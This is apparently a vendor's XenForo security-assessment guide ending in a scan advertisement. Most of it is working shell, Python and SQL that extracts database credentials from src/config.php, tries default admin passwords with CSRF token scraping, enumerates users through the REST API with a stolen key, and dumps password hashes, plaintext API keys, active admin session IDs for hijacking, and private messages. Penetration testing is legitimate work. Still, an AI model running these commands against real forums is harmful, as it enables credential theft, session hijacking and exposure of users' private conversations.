XenForo is one of the most popular commercial forum platforms, widely used by gaming communities, tech forums, and enterprise customer communities. Key assessment areas: src/config.php exposes MySQL database credentials; admin credentials grant full ACP (Admin Control Panel) access including add-on installation; the REST API uses keys stored in xf_api_key with configurable scope; and xf_user contains bcrypt password hashes. This guide covers systematic XenForo security assessment.
# XenForo — src/config.php MySQL credential extraction
XF_URL="https://forum.example.com"
# src/config.php — XenForo database configuration
cat /var/www/xenforo/src/config.php 2>/dev/null
# $config['db']['host'] = 'localhost';
# $config['db']['port'] = '3306';
# $config['db']['username'] = 'xenforo';
# $config['db']['password'] = '...'; <-- MySQL database password
# $config['db']['dbname'] = 'xenforo';
python3 -c "
import re
content = open('/var/www/xenforo/src/config.php').read()
patterns = {
'db_password': r\"\\\$config\['db'\]\['password'\]\s*=\s*'([^']+)'\",
'db_username': r\"\\\$config\['db'\]\['username'\]\s*=\s*'([^']+)'\",
'db_dbname': r\"\\\$config\['db'\]\['dbname'\]\s*=\s*'([^']+)'\",
'db_host': r\"\\\$config\['db'\]\['host'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Test src/config.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${XF_URL}/src/config.php" 2>/dev/null)
echo "src/config.php: HTTP ${STATUS}"
# XenForo version check
curl -s "${XF_URL}/admin.php" 2>/dev/null | grep -oP 'XenForo [0-9]+\.[0-9]+\.[0-9]+' | head -1
# Test admin credentials at /admin.php
for CRED in "admin:admin" "admin:password" "admin:xenforo" "administrator:admin"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
TOKEN=$(curl -s "${XF_URL}/admin.php?login/login" | \
grep -oP '_xfToken" value="\K[^"]+' | head -1 2>/dev/null)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${XF_URL}/admin.php?login/login" \
-d "login=${USER}&password=${PASS}&_xfToken=${TOKEN}&remember=1" \
-c /tmp/xf_c -b /tmp/xf_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# XenForo REST API — API key and admin credential assessment
XF_URL="https://forum.example.com"
# XenForo REST API keys are created in ACP > API > API Keys
# Key types: super user key (full access) or user-specific key with scope
# Authentication: XF-Api-Key header
# Test API with extracted key
API_KEY="extracted-api-key"
# Get current user (with user-specific key)
curl -s "${XF_URL}/api/users/me" \
-H "XF-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
u=d.get('user',{})
print(f'UserID: {u.get(\"user_id\")}')
print(f'Username: {u.get(\"username\")}')
print(f'Email: {u.get(\"email\")}')
print(f'Is admin: {u.get(\"is_admin\")}')
print(f'Is staff: {u.get(\"is_staff\")}')
" 2>/dev/null
# Super user API key — enumerate all users
curl -s "${XF_URL}/api/users?page=1&limit=100" \
-H "XF-Api-Key: ${API_KEY}" \
-H "XF-Api-User: 1" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users=d.get('users',[])
print(f'Total users: {d.get(\"pagination\",{}).get(\"total_items\")}')
for u in users[:5]:
print(f' [{u.get(\"user_id\")}] {u.get(\"username\")} — admin={u.get(\"is_admin\")} staff={u.get(\"is_staff\")}')
" 2>/dev/null
# Check for /install/ directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${XF_URL}/install/" 2>/dev/null)
echo "/install/: HTTP ${STATUS}"
# XenForo MySQL database — xf_user hash, xf_api_key, and session extraction
DB_PASS="extracted-db-password"
mysql -u xenforo -p"${DB_PASS}" xenforo 2>/dev/null << 'EOF'
-- xf_user — all users with password hashes
SELECT u.user_id, u.username, u.email, u.password,
u.is_admin, u.is_moderator, u.is_staff,
u.register_date, u.last_activity
FROM xf_user u
WHERE u.user_state = 'valid'
ORDER BY u.user_id
LIMIT 20;
-- password: bcrypt $2y$10$... format in XenForo 2.x
-- Admin users
SELECT u.user_id, u.username, u.email, u.password,
u.is_super_admin
FROM xf_user u
WHERE u.is_admin = 1
ORDER BY u.user_id;
-- API keys (REST API authentication tokens)
SELECT k.api_key_id, k.api_key, k.key_hash,
k.title, k.is_super_user,
k.user_id, k.scope,
u.username, u.email
FROM xf_api_key k
LEFT JOIN xf_user u ON u.user_id = k.user_id
ORDER BY k.api_key_id;
-- api_key: plaintext key for XF-Api-Key header
-- is_super_user=1: full admin-level API access regardless of user
-- Active sessions (session hijacking)
SELECT s.session_id, s.user_id, s.ip, s.last_activity,
u.username, u.email, u.is_admin
FROM xf_session s
JOIN xf_user u ON u.user_id = s.user_id
WHERE u.is_admin = 1
AND s.last_activity > UNIX_TIMESTAMP() - 86400
ORDER BY s.last_activity DESC
LIMIT 10;
-- session_id: value for xf_session cookie
-- Private conversations
SELECT cm.message_id, cm.conversation_id,
u.username as sender,
LEFT(cm.message, 200) as message_preview,
cm.message_date
FROM xf_conversation_message cm
JOIN xf_user u ON u.user_id = cm.user_id
ORDER BY cm.message_date DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| src/config.php MySQL db/password extraction | Read /var/www/xenforo/src/config.php — database credentials for all forum data, user hashes, API keys, and private conversations | Critical |
| xf_api_key plaintext REST API key extraction | MySQL SELECT api_key FROM xf_api_key WHERE is_super_user=1 — super user API keys enabling full admin API access via XF-Api-Key header | Critical |
| Admin credential brute-force at /admin.php | POST /admin.php?login/login — ACP session; add-on installation, user management, database backup, template modification | High |
| xf_user bcrypt password hash extraction | MySQL SELECT password FROM xf_user WHERE is_admin=1 — bcrypt $2y$ hashes for admin accounts; slower to crack but enables offline password recovery | High |
| xf_session admin session token hijacking | MySQL SELECT session_id FROM xf_session WHERE is_admin users — session cookie for xf_session; immediate ACP access without password knowledge | High |
Ironimo tests XenForo deployments for src/config.php MySQL database password web exposure, /src/ directory PHP file access protection, admin credential brute-force at /admin.php?login/login with CSRF token extraction, xf_api_key super user REST API key extraction, REST API /api/users user enumeration with admin status, xf_user bcrypt password hash and is_admin identification, xf_session active admin session token hijacking, xf_conversation_message private message content access, /install/ directory post-installation exposure, and XenForo version disclosure for CVE targeting.
Start free scan